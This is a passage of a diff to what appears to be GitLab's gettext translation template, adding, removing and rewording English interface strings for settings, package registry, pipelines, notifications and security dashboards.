msgstr ""
+msgid "More Information."
+msgstr ""
+
msgid "More Slack commands"
msgstr ""
@@ -19697,6 +20170,9 @@ msgstr ""
msgid "Name"
msgstr ""
+msgid "Name can't be blank"
+msgstr ""
+
msgid "Name has already been taken"
msgstr ""
@@ -20011,6 +20487,15 @@ msgstr ""
msgid "NetworkPolicies|ports/protocols"
msgstr ""
+msgid "NetworkPolicy|Policy"
+msgstr ""
+
+msgid "NetworkPolicy|Search by policy name"
+msgstr ""
+
+msgid "NetworkPolicy|Status"
+msgstr ""
+
msgid "Never"
msgstr ""
@@ -20057,9 +20542,6 @@ msgstr ""
msgid "New Label"
msgstr ""
-msgid "New Merge Request"
-msgstr ""
-
msgid "New Milestone"
msgstr ""
@@ -20225,6 +20707,9 @@ msgstr ""
msgid "Next commit"
msgstr ""
+msgid "Next design"
+msgstr ""
+
msgid "Next file in diff"
msgstr ""
@@ -20270,6 +20755,9 @@ msgstr ""
msgid "No authentication methods configured."
msgstr ""
+msgid "No available branches"
+msgstr ""
+
msgid "No available groups to fork the project."
msgstr ""
@@ -20336,7 +20824,7 @@ msgstr ""
msgid "No estimate or time spent"
msgstr ""
-msgid "No file chosen"
+msgid "No file chosen."
msgstr ""
msgid "No file hooks found."
@@ -20387,6 +20875,9 @@ msgstr ""
msgid "No matches found"
msgstr ""
+msgid "No matching issue found. Make sure that you are adding a valid issue URL."
+msgstr ""
+
msgid "No matching labels"
msgstr ""
@@ -20474,6 +20965,9 @@ msgstr ""
msgid "No start date"
msgstr ""
+msgid "No tag selected"
+msgstr ""
+
msgid "No template"
msgstr ""
@@ -20645,6 +21139,22 @@ msgstr ""
msgid "Notification settings saved"
msgstr ""
+msgid "NotificationEmail|Assignee"
+msgid_plural "NotificationEmail|Assignees"
+msgstr[0] ""
+
+msgid "NotificationEmail|Assignee: %{users}"
+msgid_plural "NotificationEmail|Assignees: %{users}"
+msgstr[0] ""
+
+msgid "NotificationEmail|Reviewer"
+msgid_plural "NotificationEmail|Reviewers"
+msgstr[0] ""
+
+msgid "NotificationEmail|Reviewer: %{users}"
+msgid_plural "NotificationEmail|Reviewers: %{users}"
+msgstr[0] ""
+
msgid "NotificationEvent|Change reviewer merge request"
msgstr ""
@@ -20759,6 +21269,15 @@ msgstr ""
msgid "Number of Elasticsearch shards"
msgstr ""
+msgid "Number of Git pushes after which 'git gc' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which a full 'git repack' is run."
+msgstr ""
+
+msgid "Number of Git pushes after which an incremental 'git repack' is run."
+msgstr ""
+
msgid "Number of LOCs per commit"
msgstr ""
@@ -20891,10 +21410,7 @@ msgstr ""
msgid "OnCallSchedules|For this rotation, on-call will be:"
msgstr ""
-msgid "OnCallSchedules|On-call schedule"
-msgstr ""
-
-msgid "OnCallSchedules|On-call schedule for the %{timezone}"
+msgid "OnCallSchedules|On-call schedules"
msgstr ""
msgid "OnCallSchedules|Please note, rotations with shifts that are less than four hours are currently not supported in the weekly view."
@@ -20984,9 +21500,6 @@ msgstr ""
msgid "OnDemandScans|Manage DAST scans"
msgstr ""
-msgid "OnDemandScans|Manage profiles"
-msgstr ""
-
msgid "OnDemandScans|Manage scanner profiles"
msgstr ""
@@ -21011,9 +21524,6 @@ msgstr ""
msgid "OnDemandScans|On-demand scans run outside the DevOps cycle and find vulnerabilities in your projects. %{learnMoreLinkStart}Learn more%{learnMoreLinkEnd}"
msgstr ""
-msgid "OnDemandScans|Run scan"
-msgstr ""
-
msgid "OnDemandScans|Save and run scan"
msgstr ""
@@ -21044,6 +21554,9 @@ msgstr ""
msgid "OnDemandScans|You cannot run an active scan against an unvalidated site."
msgstr ""
+msgid "OnDemandScans|You must create a repository within your project to run an on-demand scan."
+msgstr ""
+
msgid "Once a project is permanently deleted, it %{strongStart}cannot be recovered%{strongEnd}. Permanently deleting this project will %{strongStart}immediately delete%{strongEnd} its repositories and %{strongStart}all related resources%{strongEnd}, including issues, merge requests etc."
msgstr ""
@@ -21129,12 +21642,6 @@ msgstr ""
msgid "Open"
msgstr ""
-msgid "Open API"
-msgstr ""
-
-msgid "Open API specification file path"
-msgstr ""
-
msgid "Open Selection"
msgstr ""
@@ -21153,9 +21660,6 @@ msgstr ""
msgid "Open in your IDE"
msgstr ""
-msgid "Open issues"
-msgstr ""
-
msgid "Open raw"
msgstr ""
@@ -21168,10 +21672,13 @@ msgstr ""
msgid "Open: %{open}"
msgstr ""
-msgid "Opened"
+msgid "OpenAPI"
+msgstr ""
+
+msgid "OpenAPI specification file path"
msgstr ""
-msgid "Opened %{epicTimeagoDate}"
+msgid "Opened"
msgstr ""
msgid "Opened MRs"
@@ -21186,6 +21693,9 @@ msgstr ""
msgid "Opens in a new window"
msgstr ""
+msgid "Operation completed"
+msgstr ""
+
msgid "Operation failed. Check pod logs for %{pod_name} for more details."
msgstr ""
@@ -21237,6 +21747,9 @@ msgstr ""
msgid "Or you can choose one of the suggested colors below"
msgstr ""
+msgid "Order jobs by"
+msgstr ""
+
msgid "Orphaned member"
msgstr ""
@@ -21345,12 +21858,18 @@ msgstr ""
msgid "PackageRegistry|Add Conan Remote"
msgstr ""
+msgid "PackageRegistry|Add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Add NuGet Source"
msgstr ""
msgid "PackageRegistry|Add composer registry"
msgstr ""
+msgid "PackageRegistry|Allow duplicates"
+msgstr ""
+
msgid "PackageRegistry|An error occurred while saving the settings"
msgstr ""
@@ -21381,6 +21900,9 @@ msgstr ""
msgid "PackageRegistry|Copy Conan Setup Command"
msgstr ""
+msgid "PackageRegistry|Copy Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|Copy Maven XML"
msgstr ""
@@ -21399,6 +21921,9 @@ msgstr ""
msgid "PackageRegistry|Copy Pip command"
msgstr ""
+msgid "PackageRegistry|Copy add Gradle Groovy DSL repository command"
+msgstr ""
+
msgid "PackageRegistry|Copy and paste this inside your %{codeStart}pom.xml%{codeEnd} %{codeStart}dependencies%{codeEnd} block."
msgstr ""
@@ -21450,6 +21975,9 @@ msgstr ""
msgid "PackageRegistry|GitLab Packages allows organizations to utilize GitLab as a private repository for a variety of common package formats. %{linkStart}More Information%{linkEnd}"
msgstr ""
+msgid "PackageRegistry|Gradle Groovy DSL install command"
+msgstr ""
+
msgid "PackageRegistry|If you haven't already done so, you will need to add the below to your %{codeStart}.pypirc%{codeEnd} file."
msgstr ""
@@ -21474,9 +22002,6 @@ msgstr ""
msgid "PackageRegistry|Maven Command"
msgstr ""
-msgid "PackageRegistry|Maven XML"
-msgstr ""
-
msgid "PackageRegistry|NuGet"
msgstr ""
@@ -21513,15 +22038,42 @@ msgstr ""
msgid "PackageRegistry|Recipe: %{recipe}"
msgstr ""
+msgid "PackageRegistry|Registry setup"
+msgstr ""
+
msgid "PackageRegistry|Remove package"
msgstr ""
+msgid "PackageRegistry|RubyGems"
+msgstr ""
+
msgid "PackageRegistry|Settings for Maven packages"
msgstr ""
msgid "PackageRegistry|Settings saved successfully"
msgstr ""
+msgid "PackageRegistry|Show Composer commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Conan commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Gradle Groovy DSL commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Maven commands"
+msgstr ""
+
+msgid "PackageRegistry|Show NPM commands"
+msgstr ""
+
+msgid "PackageRegistry|Show Nuget commands"
+msgstr ""
+
+msgid "PackageRegistry|Show PyPi commands"
+msgstr ""
+
msgid "PackageRegistry|Sorry, your filter produced no results"
msgstr ""
@@ -21573,27 +22125,6 @@ msgstr ""
msgid "PackageRegistry|yarn command"
msgstr ""
-msgid "PackageType|Composer"
-msgstr ""
-
-msgid "PackageType|Conan"
-msgstr ""
-
-msgid "PackageType|Generic"
-msgstr ""
-
-msgid "PackageType|Maven"
-msgstr ""
-
-msgid "PackageType|NuGet"
-msgstr ""
-
-msgid "PackageType|PyPI"
-msgstr ""
-
-msgid "PackageType|npm"
-msgstr ""
-
msgid "Packages"
msgstr ""
@@ -21831,10 +22362,19 @@ msgstr ""
msgid "PerformanceBar|SQL queries"
msgstr ""
+msgid "PerformanceBar|Sort by duration"
+msgstr ""
+
+msgid "PerformanceBar|Sort chronologically"
+msgstr ""
+
msgid "PerformanceBar|Stats"
msgstr ""
-msgid "PerformanceBar|trace"
+msgid "PerformanceBar|Total duration"
+msgstr ""
+
+msgid "PerformanceBar|Trace"
msgstr ""
msgid "Permissions"
@@ -21915,7 +22455,7 @@ msgstr ""
msgid "PipelineCharts|An unknown error occurred while processing CI/CD analytics."
msgstr ""
-msgid "PipelineCharts|CI / CD Analytics"
+msgid "PipelineCharts|CI/CD Analytics"
msgstr ""
msgid "PipelineCharts|Failed:"
@@ -22164,9 +22704,6 @@ msgstr ""
msgid "Pipeline|Could not retrieve the pipeline status. For troubleshooting steps, read the %{linkStart}documentation%{linkEnd}."
msgstr ""
-msgid "Pipeline|Coverage"
-msgstr ""
-
msgid "Pipeline|Created"
msgstr ""
@@ -22185,6 +22722,9 @@ msgstr ""
msgid "Pipeline|Failed"
msgstr ""
+msgid "Pipeline|In progress"
+msgstr ""
+
msgid "Pipeline|Key"
msgstr ""
@@ -22260,6 +22800,18 @@ msgstr ""
msgid "Pipeline|Tag name"
msgstr ""
+msgid "Pipeline|Test coverage"
+msgstr ""
+
+msgid "Pipeline|This change will decrease the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will increase the overall test coverage if merged."
+msgstr ""
+
+msgid "Pipeline|This change will not change the overall test coverage if merged."
+msgstr ""
+
msgid "Pipeline|Trigger author"
msgstr ""
@@ -22329,9 +22881,6 @@ msgstr ""
msgid "Please add a comment in the text area above"
msgstr ""
-msgid "Please add a list to your board first"
-msgstr ""
-
msgid "Please check the configuration file for this chart"
msgstr ""
@@ -22482,10 +23031,10 @@ msgstr ""
msgid "Please solve the captcha"
msgstr ""
-msgid "Please solve the reCAPTCHA"
+msgid "Please try again"
msgstr ""
-msgid "Please try again"
+msgid "Please try and refresh the page. If the problem persists please contact support."
msgstr ""
msgid "Please type %{phrase_code} to proceed or close this modal to cancel."
@@ -22521,6 +23070,18 @@ msgstr ""
msgid "Point to any links you like: documentation, built binaries, or other related materials. These can be internal or external links from your GitLab instance. Duplicate URLs are not allowed."
msgstr ""
+msgid "Policy project doesn't exist"
+msgstr ""
+
+msgid "Polling interval multiplier"
+msgstr ""
+
+msgid "Popularity"
+msgstr ""
+
+msgid "Postman collection"
+msgstr ""
+
msgid "Pre-defined push rules."
msgstr ""
@@ -22659,6 +23220,12 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying MR approval rules in merge requests."
+msgstr ""
+
+msgid "Prevent users from modifying MR approval rules in projects and merge requests."
+msgstr ""
+
msgid "Prevent users from modifying MR approval rules."
msgstr ""
@@ -22683,6 +23250,9 @@ msgstr ""
msgid "Previous commit"
msgstr ""
+msgid "Previous design"
+msgstr ""
+
msgid "Previous file in diff"
msgstr ""
@@ -22707,6 +23277,9 @@ msgstr ""
msgid "Prioritized label"
msgstr ""
+msgid "Priority"
+msgstr ""
+
msgid "Private"
msgstr ""
@@ -22965,7 +23538,7 @@ msgstr ""
msgid "Profiles|Main settings"
msgstr ""
-msgid "Profiles|No file chosen"
+msgid "Profiles|No file chosen."
msgstr ""
msgid "Profiles|Notification email"
@@ -23355,6 +23928,9 @@ msgstr ""
msgid "ProjectOverview|You must sign in to star a project"
msgstr ""
+msgid "ProjectPage|Copy project ID"
+msgstr ""
+
msgid "ProjectPage|Project ID: %{project_id}"
msgstr ""
@@ -23370,49 +23946,82 @@ msgstr ""
msgid "ProjectService|%{service_title}: status on"
msgstr ""
-msgid "ProjectService|Event will be triggered by a push to the repository"
+msgid "ProjectService|Drone URL"
+msgstr ""
+
+msgid "ProjectService|Enter new API key"
+msgstr ""
+
+msgid "ProjectService|Enter new password"
+msgstr ""
+
+msgid "ProjectService|Event triggered when a commit is created or updated."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a confidential issue is created, updated, or closed."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a deployment starts or finishes."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a merge request is created, updated, or merged."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a new tag is pushed to the repository."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a new, unique alert is recorded."
+msgstr ""
+
+msgid "ProjectService|Event triggered when a pipeline status changes."
msgstr ""
-msgid "ProjectService|Event will be triggered when a commit is created/updated"
+msgid "ProjectService|Event triggered when a wiki page is created or updated."
msgstr ""
-msgid "ProjectService|Event will be triggered when a confidential issue is created/updated/closed"
+msgid "ProjectService|Event triggered when an issue is created, updated, or closed."
msgstr ""
-msgid "ProjectService|Event will be triggered when a deployment starts or finishes"
+msgid "ProjectService|Event triggered when someone adds a comment on a confidential issue."
msgstr ""
-msgid "ProjectService|Event will be triggered when a merge request is created/updated/merged"
+msgid "ProjectService|Event triggered when someone adds a comment."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new tag is pushed to the repository"
+msgid "ProjectService|Event triggered when someone pushes to the repository."
msgstr ""
-msgid "ProjectService|Event will be triggered when a new, unique alert is recorded"
+msgid "ProjectService|Issue URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when a pipeline status changes"
+msgid "ProjectService|Jenkins URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when a wiki page is created/updated"
+msgid "ProjectService|Leave blank to use your current API key"
msgstr ""
-msgid "ProjectService|Event will be triggered when an issue is created/updated/closed"
+msgid "ProjectService|Leave blank to use your current password"
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment"
+msgid "ProjectService|Mock service URL"
msgstr ""
-msgid "ProjectService|Event will be triggered when someone adds a comment on a confidential issue"
+msgid "ProjectService|New issue URL"
msgstr ""
msgid "ProjectService|Perform common operations on GitLab project: %{project_name}"
msgstr ""
-msgid "ProjectService|To set up this service:"
+msgid "ProjectService|TeamCity URL"
+msgstr ""
+
+msgid "ProjectService|To configure this integration, you should:"
+msgstr ""
+
+msgid "ProjectSettings|%{link_start}What are description templates?%{link_end}"
msgstr ""
-msgid "ProjectSettings|Additional merge request capabilities that influence how and when merges will be performed"
+msgid "ProjectSettings|Additional settings that influence how and when merges are done."
msgstr ""
msgid "ProjectSettings|All discussions must be resolved"
@@ -23466,25 +24075,28 @@ msgstr ""
msgid "ProjectSettings|Customize this project's badges."
msgstr ""
+msgid "ProjectSettings|Determine what happens to the commit history when you merge a merge request."
+msgstr ""
+
msgid "ProjectSettings|Disable email notifications"
msgstr ""
msgid "ProjectSettings|Do not allow"
msgstr ""
-msgid "ProjectSettings|Enable 'Delete source branch' option by default"
+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23496,7 +24108,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr ""
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23508,7 +24120,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23520,10 +24132,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23556,10 +24168,13 @@ msgstr ""
msgid "ProjectSettings|Merge requests"
msgstr ""
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr ""
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23583,15 +24198,9 @@ msgstr ""
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr ""
@@ -23622,7 +24231,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23631,7 +24240,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23652,16 +24261,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23673,12 +24279,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23706,10 +24315,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24243,6 +24852,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24264,7 +24882,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24285,6 +24903,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24459,7 +25080,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24648,7 +25269,7 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
+msgid "Reference"
msgstr ""
msgid "References"
@@ -24809,7 +25430,7 @@ msgstr ""
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24821,7 +25442,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24845,6 +25466,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr ""
@@ -24893,9 +25517,6 @@ msgstr ""
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr ""
@@ -25142,6 +25763,9 @@ msgstr ""
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr ""
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25183,7 +25807,7 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
+msgid "Reports|Base report parsing error:"
msgstr ""
msgid "Reports|Classname"
@@ -25203,6 +25827,12 @@ msgstr[0] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25329,6 +25959,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25425,6 +26058,9 @@ msgstr ""
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25729,7 +26365,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -25873,6 +26512,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -25906,9 +26548,6 @@ msgstr ""
msgid "Running"
msgstr ""
-msgid "Running…"
-msgstr ""
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr ""
@@ -26005,6 +26644,9 @@ msgstr ""
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr ""
@@ -26023,6 +26665,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26047,9 +26692,6 @@ msgstr ""
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr ""
@@ -26101,6 +26743,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr ""
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26152,6 +26797,9 @@ msgstr ""
msgid "Search forks"
msgstr ""
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26161,6 +26809,9 @@ msgstr ""
msgid "Search milestones"
msgstr ""
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr ""
@@ -26355,6 +27006,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26430,13 +27084,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26445,10 +27105,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26463,6 +27123,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26520,16 +27183,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
+msgstr ""
+
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26595,15 +27270,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26655,9 +27321,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26667,9 +27330,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26706,6 +27366,9 @@ msgstr ""
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26715,7 +27378,7 @@ msgstr ""
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
+msgid "Select a milestone"
msgstr ""
msgid "Select a new namespace"
@@ -26745,9 +27408,15 @@ msgstr ""
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
